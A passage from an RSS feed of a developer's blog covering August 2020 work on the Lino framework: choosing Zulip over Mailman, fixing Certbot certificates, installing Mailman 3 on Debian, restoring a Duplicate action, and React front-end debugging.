&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;city&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;help_text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;The locality, i.e. usually a village, city or town.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="zulip-instead-of-mailman"&gt;
&lt;h2&gt;Zulip instead of Mailman?&lt;a class="headerlink" href="#zulip-instead-of-mailman" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Mari convinced me that it’s utopic to hope that volunteer members of
laudate.ee will start to use mailing lists for collaborating.&lt;/p&gt;
&lt;p&gt;She suggests to open a workspace on Slack. I was ready to stop my reluctance
to use a proprietary platform.&lt;/p&gt;
&lt;p&gt;But before creating a workspace on Slack, I read &lt;a class="reference external" href="https://www.projekte.hu-berlin.de/de/gnuHU/anleitungen/nachhaltige-pr-strategie/nachhaltige-pr-strategie/"&gt;this&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And I remembered that we almost started to use Zulip instead of Noi some time
ago: &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2878"&gt;#2878&lt;/a&gt; (Install a Zulip instance on SR).&lt;/p&gt;
&lt;p&gt;I reopened that ticket and started to read
&lt;a class="reference external" href="https://zulip.readthedocs.io/en/stable/production/install.html"&gt;https://zulip.readthedocs.io/en/stable/production/install.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But the easier solution is to just open a free project on the zulipchat.com
server.  Voilà, here it is: &lt;a class="reference external" href="https://eestitaizes6brad.zulipchat.com"&gt;https://eestitaizes6brad.zulipchat.com&lt;/a&gt;/#&lt;/p&gt;
&lt;p&gt;When we approach the 10,000 messages limit, we will need to decide: contribute
or forget?&lt;/p&gt;
&lt;p&gt;First problem : Zulip doesn’t offer Estonian language. Hm. We will see whether
this is a show stopper.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0818.html</guid><pubDate>Tue, 18 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Monday, August 17, 2020</title><link>https://luc.lino-framework.org/blog/2020/0817.html</link><description>&lt;section id="monday-august-17-2020"&gt;
&lt;h1&gt;Monday, August 17, 2020&lt;a class="headerlink" href="#monday-august-17-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="certbot-and-the-subdomains"&gt;
&lt;h2&gt;Certbot and the subdomains&lt;a class="headerlink" href="#certbot-and-the-subdomains" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There were again https warnings for laudate. We have two different certificates
for laudate.ee and www.laudate.ee. Is that normal? Seems that something is
messed up.&lt;/p&gt;
&lt;p&gt;We have nginx listening at www.laudate.ee and laudate.ee (both domains share the
same content). Here is the summarized config file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;server {
    server_name laudate.ee www.laudate.ee;
    ...
    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/www.laudate.ee/fullchain.pem; # managed by Certbot
    ...
}

server {
    server_name laudate.ee www.laudate.ee;
    listen 80;

    if ($host = www.laudate.ee) {
        return 301 https://$host$request_uri;
    } # managed by Certbot

    if ($host = laudate.ee) {
        return 301 https://$host$request_uri;
    } # managed by Certbot

    return 404; # managed by Certbot
}
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt; $ certbot-auto -d laudate.ee -d www.laudate.ee
 ...
 Your existing certificate has been successfully renewed, and the new certificate
 has been installed.
 The new certificate covers the following domains: https://laudate.ee and
 https://www.laudate.ee

- Congratulations! Your certificate and chain have been saved at:
  /etc/letsencrypt/live/laudate.ee/fullchain.pem
  Your key file has been saved at:
  /etc/letsencrypt/live/laudate.ee/privkey.pem
  Your cert will expire on 2020-11-15. To obtain a new or tweaked
  version of this certificate in the future, simply run certbot-auto
  again with the &amp;quot;certonly&amp;quot; option. To non-interactively renew *all*
  of your certificates, run &amp;quot;certbot-auto renew&amp;quot;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I removed the certificate files for &lt;cite&gt;www.laudate.ee&lt;/cite&gt;.
But the additional domain name was still there:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ certbot-auto
Requesting to rerun /usr/local/bin/certbot-auto with root privileges...
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Plugins selected: Authenticator nginx, Installer nginx

Which names would you like to activate HTTPS for?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: laudate.ee
2: lists.laudate.ee
3: www.laudate.ee
4: ejane.mylino.net
5: jane.mylino.net
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate numbers separated by commas and/or spaces, or leave input
blank to select all options shown (Enter &amp;#39;c&amp;#39; to cancel): c
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had to read  &lt;a class="reference external" href="https://certbot.eff.org/docs/using.html#where-are-my-certificates"&gt;the manual&lt;/a&gt; and
discover the certificates command.  This revealed that I had erroneously given
the following command when adding the certificate for the mailman3 interface:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ certbot-auto -d lists.laudate.ee -d www.laudate.ee
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That was wrong. It must be:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ certbot-auto -d lists.laudate.ee
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Done.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="how-to-install-mailman3"&gt;
&lt;h2&gt;How to install mailman3&lt;a class="headerlink" href="#how-to-install-mailman3" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.gnu.org/software/mailman/devs.html"&gt;https://www.gnu.org/software/mailman/devs.html&lt;/a&gt; : Mailman 3 is under active
development and we would welcome your input and contributions. The primary
gathering point for all development should be the Mailman Wiki and specifically
the Development home space on the wiki. Because wikis are intended to be
collaborative, you’re free to contribute to this page in true wiki fashion.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://wiki.list.org/DEV/Home"&gt;https://wiki.list.org/DEV/Home&lt;/a&gt; : Thank you for contributing to Mailman! Please
also see the Mailman 3 release notes. NEW! This year we will be applying to
Google’s Season of Docs. For information about Mailman’s project ideas, click
here: Mailman Season of Docs 2019.&lt;/p&gt;
&lt;p&gt;Looks great. But I still can’t edit neither the Home page nor Brian’s page about
&lt;a class="reference external" href="https://wiki.list.org/DOC/Howto_Install_Mailman3_On_Debian10"&gt;How to Install Mailman 3 on a Debian 10 Server&lt;/a&gt;. Maybe that’s
because I registered only yesterday as a user.&lt;/p&gt;
&lt;p&gt;I started writing installation notes in &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/mailman/#admin-mailman" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Using Mailman&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;TODO: Get more contact with mailman developers. Should I integrate my docs about
mailman to their wiki?&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0817.html</guid><pubDate>Mon, 17 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Friday, August 14, 2020</title><link>https://luc.lino-framework.org/blog/2020/0814.html</link><description>&lt;section id="friday-august-14-2020"&gt;
&lt;h1&gt;Friday, August 14, 2020&lt;a class="headerlink" href="#friday-august-14-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="installing-mailman-3-on-debian"&gt;
&lt;h2&gt;Installing Mailman 3 on Debian&lt;a class="headerlink" href="#installing-mailman-3-on-debian" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ha! The mailman service doesn’t use &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/etc/mailman.cfg&lt;/span&gt;&lt;/code&gt; as config file
but
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/opt/mailman/mailman-suite/mailman-suite_project/var/etc/mailman.cfg&lt;/span&gt;&lt;/code&gt;! Of
course!  With mailman3 you can have more than one “mailman” on a same server.&lt;/p&gt;
&lt;p&gt;Here is an interesting page:
&lt;a class="reference external" href="https://wiki.list.org/DOC/Howto_Install_Mailman3_On_Debian10"&gt;https://wiki.list.org/DOC/Howto_Install_Mailman3_On_Debian10&lt;/a&gt;
Very good beginning!
Not yet finished.&lt;/p&gt;
&lt;p&gt;My next question is : how will we manage upgrades? Hamza installed a git clone
of the mailman suite, and that seems the way they also support. Which means that
I should not directly modify the settings.py file, rather create a
&lt;cite&gt;local_settings.py&lt;/cite&gt; file.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="martina-cannot-duplicate-entries-of-a-budget"&gt;
&lt;h2&gt;Martina cannot duplicate entries of a budget&lt;a class="headerlink" href="#martina-cannot-duplicate-entries-of-a-budget" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Wow, a subtile bug that slipped through the test suite:
Martina didn’t have the Duplicate action on the entries of a budget.&lt;/p&gt;
&lt;p&gt;I remember how this bug was introduced. It was over a year ago when working for
&lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt;. They asked me to remove “that useless Duplicate button” for every
normal user. So I added a role “Expert” and made both the Duplicate and the
Merge actions require it.  And at that moment I didn’t imagine that a debts
mediator in welfare would need the duplicate action.&lt;/p&gt;
&lt;p&gt;The local fix was easy:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Duplicate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;actions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Action&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
   &lt;span class="o"&gt;...&lt;/span&gt;
   &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_view_permission&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_type&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_type&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readonly&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
            &lt;span class="c1"&gt;# if not user_type.has_required_roles([Expert]):&lt;/span&gt;
            &lt;span class="c1"&gt;#     return False&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Duplicate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_view_permission&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And this is probably the most reasonable general solution as well. Even normal
users in &lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt; actually won’t be too disturbed by seeing the &lt;cite&gt;Duplicate&lt;/cite&gt;
action on models that are duplicable.  I will need to explain this to Harry who
called that button “useless”.&lt;/p&gt;
&lt;p&gt;Changelog: The duplicate action is again visible for every user, not only for
users having the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.roles.html#lino.core.roles.Expert" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.roles.Expert&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; role.&lt;/p&gt;
&lt;p&gt;The merge action is similar but different. It is similar in that it is a
“standard” action, defined by the framework. Application developers have hooks
to customize what happens when two database objects are merged, but the basic
procedure is always the same.  We also have the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;allow_merge_action&lt;/span&gt;&lt;/code&gt; attribute on Lino’s base Model class
because there are models for which merging makes no sense or would be very
difficult to implement and control. For example on a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts.Partner&lt;/span&gt;&lt;/code&gt;,
which can be MTI parent to several other database objects.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/dev/actions.html#dev-actions" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Introduction to actions&lt;/span&gt;&lt;/a&gt; page was still very useless for a new Lino developer.  I
discovered that I can mix prosa documentation style with API docs. For example
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actions.html#lino.core.actions.Action.readonly" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actions.Action.readonly&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is now documented only in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/dev/actions.rst&lt;/span&gt;&lt;/code&gt;.  Until now I had been reluctant to convert docs
about core classes to prosa because I didn’t know this.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="no-help-texts-for-lino"&gt;
&lt;h2&gt;No help_texts for lino&lt;a class="headerlink" href="#no-help-texts-for-lino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Oho, I noticed a side effect of some change in Sphinx that caused the
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;help_text.py&lt;/span&gt;&lt;/code&gt; files to not get updated any more: seems that the
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;sphinx.addnodes.desc_signature&lt;/span&gt;&lt;/code&gt; node now stores the name of the
described object now in the “ids” attribute instead of “names”. I didn’t
understand every detail but it seems to work again.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0814.html</guid><pubDate>Fri, 14 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, August 13, 2020</title><link>https://luc.lino-framework.org/blog/2020/0813.html</link><description>&lt;section id="thursday-august-13-2020"&gt;
&lt;h1&gt;Thursday, August 13, 2020&lt;a class="headerlink" href="#thursday-august-13-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="lino-react-front-end"&gt;
&lt;h2&gt;Lino React front end&lt;a class="headerlink" href="#lino-react-front-end" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I committed and pushed miscellaneous changes in the &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt; repo.&lt;/p&gt;
&lt;p&gt;I had a session with Tonis where I learned a lot about how to develop
&lt;a class="reference external" href="https://react.lino-framework.org/dev/py.html#module-lino_react" title="(in Lino React)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. We fixed the “TypeError: c.DomHandler is undefined” problem.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://stackoverflow.com/questions/36795819/when-should-i-use-curly-braces-for-es6-import"&gt;https://stackoverflow.com/questions/36795819/when-should-i-use-curly-braces-for-es6-import&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.sitepoint.com/understanding-module-exports-exports-node-js/"&gt;https://www.sitepoint.com/understanding-module-exports-exports-node-js/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Next steps planned: try to get rid of our primereact fork.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="mailman3-on-laudate"&gt;
&lt;h2&gt;Mailman3 on laudate&lt;a class="headerlink" href="#mailman3-on-laudate" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I tried &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;apt&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;mainman3-full&lt;/span&gt;&lt;/code&gt;.
Before this I moved two config files to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/opt/mailman-opt-files&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sites&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;available&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;supervisor&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It asked questions like these:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Configure database for mailman3 with dbconfig-common?  Yes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Database type to be used by mailman3: sqlite3&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But in the end it said: The service for mailman3 failed! The mailman3 service
didn’t start correctly. This is probably because you didn’t configure the
database appropriately. The service won’t work until you do so. If you actually
DID install the database appropriately, please report the bug to the maintainers
of the mailman3 package.&lt;/p&gt;
&lt;p&gt;So mailman3 doesn’t yet seem to work out of the box.
I continued with our manual installation.
Continued from &lt;a class="reference internal" href="0715.html"&gt;&lt;span class="doc"&gt;Wednesday, July 15, 2020&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I created my own script for mailman:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# LS 20200813
# activate mailman venv
. /opt/mailman/venv/bin/activate
sudo env PATH=$PATH mailman $*
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So now it works:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ mailman info
GNU Mailman 3.3.1 (Tom Sawyer)
Python 3.7.3 (default, Dec 20 2019, 18:57:59)
[GCC 8.3.0]
config file: /etc/mailman3/mailman.cfg
db url: sqlite:////var/lib/mailman3/data/mailman.db
devmode: DISABLED
REST root url: http://localhost:8001/3.1/
REST credentials: restadmin:****
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I continued to read &lt;a class="reference external" href="https://mailman.readthedocs.io/en/latest/src/mailman/rest/docs/rest.html"&gt;Mailman 3 Core REST API&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;My problem atm is that &lt;a class="reference external" href="https://lists.laudate.ee"&gt;https://lists.laudate.ee&lt;/a&gt; gives an error message
“Something went wrong. Mailman REST API not available. Please start Mailman
core.”  Okay, something went wrong… but what exactly?&lt;/p&gt;
&lt;p&gt;The application running behind lists.laudate.ee is the so-called mailman suite,
a combination of postorious and webkitty.  It is defined in
/opt/mailman/mailman-suite/mailman-suite_project&lt;/p&gt;
&lt;p&gt;Here is the log file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd /opt/mailman/mailman-suite/mailman-suite_project
$ less logs/mailmansuite.log
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;mailmanclient.restbase.connection.MailmanConnectionError:
(&amp;#39;Could not connect to Mailman API: &amp;#39;, &amp;#39;ConnectionError(MaxRetryError(&amp;quot;HTTPConnectionPool(
host=\&amp;#39;localhost\&amp;#39;, port=8001):
Max retries exceeded with url: /3.1/lists?advertised=true&amp;amp;count=0&amp;amp;page=1
(Caused by NewConnectionError(\&amp;#39;&amp;lt;urllib3.connection.HTTPConnection object
at 0x7f439f159cc0&amp;gt;: Failed to establish a new connection: [Errno 111]
Connection refused\&amp;#39;))&amp;quot;))&amp;#39;)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Ha! But here:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo service mailman3 restart
Failed to restart mailman3.service: Unit mailman3.service is masked.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Why is the service masked? I guess that it is to protect me from having the
service running before I fully understood how to configure it.&lt;/p&gt;
&lt;p&gt;If that’s true, I guess that some documentation about how to unmask the service
is missing in &lt;a class="reference external" href="https://docs.mailman3.org/en/latest/config-core.html"&gt;https://docs.mailman3.org/en/latest/config-core.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I installed whoosh and pymysql:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd /opt/mailman/mailman-suite/mailman-suite_project
$ ln -s /opt/mailman/venv env
$ a
$ pip install whoosh
$ pip install pymysql  # TODO: what&amp;#39;s this?
$ pip install mysqlclient
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I created a mysql user and database for mailman:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo mysql -u root
MariaDB [(none)]&amp;gt; create user &amp;#39;mailman&amp;#39;@&amp;#39;localhost&amp;#39; identified by &amp;#39;my cool mailman password&amp;#39;;
MariaDB [(none)]&amp;gt; create database mailman;
MariaDB [(none)]&amp;gt; grant all on mailman.* to mailman@localhost with grant option;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Updated the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;[database]&lt;/span&gt;&lt;/code&gt; section in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/mailman3/mailman.cfg&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now I can start the mailman service:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ mailman start
Starting Mailman&amp;#39;s master runner
Generating MTA alias maps
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Things start working. I could cre4ate a few lists. But I seem to have a postfix
configuration problem because when I now send an email to &lt;a class="reference external" href="mailto:test&amp;#37;&amp;#52;&amp;#48;laudate&amp;#46;ee"&gt;test&lt;span&gt;&amp;#64;&lt;/span&gt;laudate&lt;span&gt;&amp;#46;&lt;/span&gt;ee&lt;/a&gt; (which
is a valid list with two members), postfix doesn’t even let it in.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0813.html</guid><pubDate>Thu, 13 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 12, 2020</title><link>https://luc.lino-framework.org/blog/2020/0812.html</link><description>&lt;section id="wednesday-august-12-2020"&gt;
&lt;h1&gt;Wednesday, August 12, 2020&lt;a class="headerlink" href="#wednesday-august-12-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The insert window in Office –&amp;gt; Uploads had the fields type and file on the same
row, which doesn’t render well in ExtJS (the type combo doesn’t open).&lt;/p&gt;
&lt;p&gt;The UploadsByController in presto now has a custom insert_layout which adds the
company field.&lt;/p&gt;
&lt;p&gt;The insert_layout defined on uploads.UploadsByProject was the same as the one
defined on its parent uploads.UploadsByController. Removed duplicate code. This
saves one duplicate object in the generated JS.&lt;/p&gt;
&lt;p&gt;Oops, the test i added yesterday for covering &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3745"&gt;#3745&lt;/a&gt; caused side effects
in the test suite because it created a client.  And in min9 the problem was not
actually reproduced because min9 had no site_company (and therefore a new person
didn’t have any address field, so Lino didn’t even try to create an Address).
The test is now being done in  &lt;cite&gt;min9.tests.test_addresses&lt;/cite&gt;.&lt;/p&gt;
&lt;section id="luc-getting-started-with-react"&gt;
&lt;h2&gt;Luc getting started with React&lt;a class="headerlink" href="#luc-getting-started-with-react" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3709"&gt;#3709&lt;/a&gt; (Luc getting started with React).
My goal is to have a comprehensible documentation in &lt;cite&gt;react.guide&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;I merged a pull request introduced by a user g4ndy. Nice surprise : this fixed
my problem with the missing glyphs for the primereact fonts.&lt;/p&gt;
&lt;p&gt;I am testing it in the cms demo project:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go cms
$ pm runserver
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The first screen now displays correctly. But when I try to sign in, it gets
blank and the JS console reports:&lt;/p&gt;
